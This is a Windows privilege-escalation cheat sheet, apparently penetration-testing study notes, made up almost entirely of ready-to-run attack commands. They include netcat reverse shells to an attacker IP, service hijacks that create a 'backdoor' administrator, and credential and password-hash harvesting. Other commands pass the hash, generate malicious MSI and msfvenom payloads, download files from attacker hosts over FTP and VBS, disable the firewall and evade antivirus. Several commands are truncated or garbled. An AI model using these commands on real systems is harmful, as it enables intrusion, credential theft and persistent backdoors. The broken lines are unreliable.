From RCE to shell

Getting a shell in limited interpreters:

$ system("start cmd.exe /k $cmd")

Bind cmd to a port:

$ nc.exe -Lp 31337 -vv -e cmd.exe

Reverse shell:

$ nc.exe attacker_ip attacker_port -e cmd.exe
EoP 0: System info

Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.

Find installed patches, architecture, OS version

$ systeminfo

Get exact OS version

$ type C:/Windows/system32/eula.txt


$ hostname

Find current user.

$ echo %username%
> getuid

List all users

$ net users

Information about a user

$ net users Administrator

Network information

$ ipconfig /all & route print & arp -a


$ set

List open connections

$ netstat -aton

Firewall information

$ netsh firewall show state
$ netsh firewall show config

List scheduled tasks

$ schtasks /query /fo LIST /v

List windows services

$ net start
$ wmic service list brief
$ tasklist /SVC
EoP 1: Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

We are interested in services where permissions are: BUILTIN\Users with (F) or (C) or (M) for our group. More info about permissions:

Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:

$ wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
$ sc start/stop serviceName

The following commands will print the affected services:

$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

If wmic is not available we can use sc.exe:

$ sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt

You can also manually check each service using cacls:

$ cacls "C:\path\to\file.exe"

If you don't have access to vmic, you can do:

$ sc qc upnphost

Windows XP SP1 is known to be vulnerable to EoP in *upnphost*. You get Administrator with:

$ sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost

If it fails because of a missing dependency, run the following:

$ sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost

Or remove the dependency:

$ sc config upnphost depend= ""

Using meterpreter:

> exploit/windows/local/service_permissions

If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
$ accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
$ accesschk.exe -qdws Users C:\Windows\

Then query the service using Windows sc:

$ sc qc <vulnerable service name>

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

$ sc config <vuln-service> binpath= "net user backdoor backdoor123 /add"
$ sc stop <vuln-service>
$ sc start <vuln$ -service>
$ sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>

Note - Might need to use the depend attribute explicitly:

$ sc stop <vuln-service>
sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\LocalSystem" password= ""
sc start <vuln-service>
EoP 2: Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every whitespace, to find the binary in every intermediate folder.

For example, the following path would be vulnerable:

C:\Program Files\something\winamp.exe

We could place our payload with any of the following paths:

C:\Program Files.exe

The following command will display affected services:

$ wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

We might even be able to override the service executable, always check out the permissions of the service binary:

$ icacls "C:\Program Files (x86)\Program Folder"

You can autoamte with meterpreter:

> exploit/windows/local/trusted_service_path
EoP 3: ClearText passwords (quick hits)

We might somtetimes find passwords in arbitrary files, you can find them running:

$ findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini

Find all those strings in config files.

$dir /s *pass* == *cred* == *vnc* == *.config*

Find all passwords in all files.

$ findstr /spin "password" *.*
$ findstr /spin "password" *.*

These are common files to find them in. They might be base64-encoded. So look out for that.

$ type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
$ dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini

Stuff in the registry:

$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

Search for password in registry

$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

Using meterpreter:

> post/windows/gather/credentials/gpp
> post/windows/gather/enum_unattend
EoP 4: Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

Windows hash format:


You can do a hash dump in the affected system running:

wce32.exe -w
wce64.exe -w

Download and run fgdump.exe on the target machine.

 $ cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80
$ pth-winexe -U DOMAIN/user%hash //$ip cmd


export SMBHASH=xxx
$ pth-winexe -U user%  //$ip cmd

You can also do run as, with the hash:

Technique 1:

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Technique 2:

$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
$ powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1

Technique 3:

$ psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc <attacker_ip> 4444 -e cmd.exe"
EoP 5: Services only available from loopback

You can find services bind to the loopback interface that are not reachable through the network running.look for LISTENING/LISTEN:

netstat -ano

Port forward using plink

$ plink.exe -l root -pw mysecretpassword -R 8080:

Port forward using meterpreter

$ portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r

If powershell is blocked, you can download:

Once you know the updates installed, you can find known exploits using windows-exploit-suggester.

$ ./ -d 2017-02-09-mssb.xls -p ms16-075
[*] initiating winsploit version 3.2…
[*] database file detected as xls or xlsx based on extension
[*] searching all kb’s for bulletin id MS16-075
[+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’]
[*] done

Compile windows exploit in linux:

$ i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe

Compiling python scripts to executables:

$ wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile
EoP 6: AlwaysInstallElevated

AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to "1":

$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If they are, create your own malicious msi:

$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi

Then use msiexec on victim to execute your msi:

$ msiexec /quiet /qn /i C:\evil.msi

Metasploit module:

> use exploit/windows/local/always_install_elevated
EoP 7: Vulnerable drivers

Third party drivers might contain vulnerabilities, find them running:

EoP 8: Kernel vulnerabilities

Run exploit suggester against systeminfo:
$ python -d 2017-05-27-mssb.xls -i systeminfo.txt

Find installed paths:

$ wmic qfe get Caption,Description,HotFixID,InstalledOn

Comprehensive talbes of vulnerabilities below:

eDB   Vuln Name         MS#     2K       XP     2003    2008      Vista      7
271   Lsasrv.dll     MS04-011  SP2,3,4  SP0,1    -       -        -         -
350   Util Manager   MS04-019  SP2,3,4  -        -       -        -         -
351   POSIX          MS04-020  SP4      -        -       -        -         -
352   Univ lang. UtilMS04-019   -       SP2,3,4  -       -        -         -
355   Univ lang. UtilMS04-019   -       SP2,3,4  -       -        -         -
1149  PnP Service    MS05-039  P4       SP2      SP1     -        -         -
1197  keybd_event    -         all      all      all     -        -         -
1198  CSRSS          MS05-018  SP3,4    SP1,2    -       -        -         -
1407  Kernel APC     MS05-055  SP4      -        -       -        -         -
1911  Mrxsmb.sys     MS06-030  all      SP2      -       -        -         -
2412  Windows Kernel MS06-049  SP4      -        -       -        -         -
3220  Print spool    -         -        All      -       -        -         -
5518  win32k.sys     MS08-025  SP4      SP2      SP1,2   SP0      SP0,1       -
6705  Churrasco      MS09-012  -        -        All     -        -         -
6705  Churraskito    -         -        All      All     -        -         -
21923 Winlogon       -         All      All      -       -        -         -
11199 KiTrap0D       MS10-015  All      All      All     All      All       All
14610 Chimichurri    MS10-059  -        -        -       All      All       SP0
15589 Task Scheduler MS10-092  -        -        -       SP0,1,2  SP1,2     SP0
18176 AFD.Sys        MS11-080  -        SP3      SP3     -        -         -
100   RPC DCOM       MS03-026  SP3,4    -        -       -        -         -
103   RPC2           MS03-039  all (CN) -        -       -        -         -
109   RPC2           MS03-039  all      -        -       -        -         -
119   Netapi         MS03-049  SP4      -        -       -        -         -
3022  ASN.1          MS04-007  SP2,3,4  SP0,1    -       -        -         -
275   SSL BOF        MS04-011  SP4      ?        -       -        -         -
295   Lsasarv.dll    MS04-011  SP2,3,4  SP0,1    -       -        -         -
734   NetDDE BOF     MS04-031  SP2,3,4  SP0,1    -       -        -         -
1075  Messaging QueueMS05-017  SP3,4    SP0,1    -       -        -         -
1149  PnP Service    MS05-039  SP4      -        -       -        -         -
2223  CP             MS06-040  -        SP1      -       -        -         -
2265  NetIPSRemote   MS06-040  SP0-4    SP0,1    -       -        -         -
2789  NetPManageIP   MS06-070  SP4      -        -       -        -         -
7104  Service exec   MS08-067  SP4      SP2,3    SP1,2   SP0      SP0,1     -
7132  Service exec   MS08-067  SP4      -        SP2     -        -         -
14674 SRV2.SYS SMB   MS09-050  -       -         -       -        SP1,2     -
   MS*           HotFix                         OS
MS16-032     KB3143141    Windows Server 2008 ,7,8,10 Windows Server 2012
MS16-016        KB3136041    Windows Server 2008, Vista, 7 WebDAV
MS15-051     KB3057191     Windows Server 2003, Windows Server 2008, Windows 7, Windows 8, Windows 2012
MS14-058     KB3000061    Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8 Win32k.sys
MS14-040     KB2975684     Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS14-002     KB2914368     Windows XP, Windows Server 2003
MS13-005     KB2778930    Windows Server 2003, Windows Server 2008, 7, 8,
MS10-092     KB2305420     Windows Server 2008, 7
MS10-015     KB977165     Windows Server 2003, Windows Server 2008, 7, XP
MS14-002     KB2914368    Windows Server 2003, XP
MS15-061     KB3057839    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS11-080     KB2592799    Windows Server 2003, XP
MS11-062     KB2566454    Windows Server 2003, XP
MS15-076     KB3067505    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS16-075     KB3164038    Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS15-010     KB3036220    Windows Server 2003, Windows Server 2008, 7, XP
MS11-046     KB2503665    Windows Server 2003, Windows Server 2008, 7, XP
MS11-011 (KB2393802)
MS10-059 (KB982799)
MS10-021 (KB979683)
MS11-080 (KB2592799)

Exploits worth looking at: MS11-046
Windows version map
Operating System     Version Number

Windows 1.0                    1.04
Windows 2.0                    2.11
Windows 3.0                    3
Windows NT 3.1                 3.10.528
Windows for Workgroups 3.11    3.11
Windows NT Workstation 3.5     3.5.807
Windows NT Workstation 3.51    3.51.1057
Windows 95                     4.0.950
Windows NT Workstation 4.0     4.0.1381
Windows 98                     4.1.1998
Windows 98 Second Edition      4.1.2222
Windows Me                     4.90.3000
Windows 2000 Professional      5.0.2195
Windows XP                     5.1.2600
Windows Vista                  6.0.6000
Windows 7                      6.1.7600
Windows 8.1                    6.3.9600
Windows 10                     10.0.10240
EoP 9: Automated tools



use priv

Metasploit incognito

use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID
Useful commands

Add a new user

$ net user test 1234 /add
$ net localgroup administrators test /add

Print files contents:

$ type file

Remove file

$ del /f file

Change password for user:

$ net user <user> <password>

List users:

$ net user

Info about a user:

$ net user <username>

Permissions on a folder recursively:

$ cacls *.* /t /e /g domainname\administrator:f

tasklist or wmic process or tasklist /svc

Enable RDP access

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable

Disable firewall

$ netsh firewall set opmode disable

Run exploit

C:\tmp>powershell -ExecutionPolicy ByPass -command "& { . C:\tmp\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
Transferring files

Paste the following code to get nc in the victim:

echo open <attacker_ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
nc.exe <attacker_ip> 1234 -e cmd.exe

Bounce port sanning

$ nc $ip 21
220 Femitter FTP Server ready.
USER anonymous
331 Password required for anonymous.
PASS foo
230 User anonymous logged in.
PORT 127,0,0,1,0,80
200 Port command successful.

Nice trick to share folders with RDP:

$ rdesktop (ip) -r disk:share=/home/bayo/store

With powershell:

$ powershell -c "(new-object System.Net.WebClient).DownloadFile('http://YOURIP:8000/b.exe','C:\Users\YOURUSER\Desktop\b.exe')"

Paste the following block in a command line to get a web client:

echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs

Run with:

$ cscript wget.vbs http://<attacker_ip>/nc.exe nc.exe

Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions

$ exploit/windows/local/service_permissions

Other scripts

Generate php reverse shell:

msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> -o meterpreter.php
msfvenom -p generic/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f php -o shell.php


$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

Generate shellcode to use within a perl exploit:

msfvenom -p linux/x86/shell/reverse_tcp LHOST=<attacker_ip> LPORT=443 -f perl -b \x00\x0A\x0D\xFF

Raw paylaod:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw -o test.bin

Js payload:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f js_le

Handling reverse shell using meterpreter:

msf > use exploit/multi/handler
msf > set lport 1234
msf > set lhost <attacker_ip>
msf > set payload windows/shell/reverse_tcp
msf > run

Other payloads:

set PAYLOAD windows/meterpreter/reverse_tcp
set PAYLOAD generic/shell_reverse_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp

Privilege escalation

Useful exploits

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
$ c:\Inetpub>churrasco
 /churrasco/-->Usage: Churrasco.exe [-d] "command to run"

 c:\Inetpub>churrasco -d "net user /add <username> <password>"
 c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
Windows MS11-080

$python --onefile
$ mx11-080.exe -O XP
From admin to system
psexec.exe -i -s %SystemRoot%\system32\cmd.exe
AV bypass

Generating a mutated binary to bypass antiviruses

$ wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe
Print proof
$ echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostname: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\Administrator\Desktop\proof.txt"
Access Check

You will probably need to accept the eula first:

$ accesschk.exe /accepteula
Windows hashes

NTLM and LM passwords are located in the SAM file in C:\\Windows\SYSTEM32\CONFIG

LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).

NTLM/NTLM2: It does not split the password, also stored in uppercase

Kerberos: Default protocol for active directory envs.


Add user to administrator group

#include <stdlib.h>
int main ()
int i;
    i = system("net localgroup administrators theusername /add");
return 0;
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe

Run an arbitrary command:

echo -e '#include <stdio.h>\n#include <smain () {\nsystem("C:\\Users\\Administrator\\Desktop\\nc -lvp 4313 -e cmd.exe");\nreturn(0);\n}'> poc.c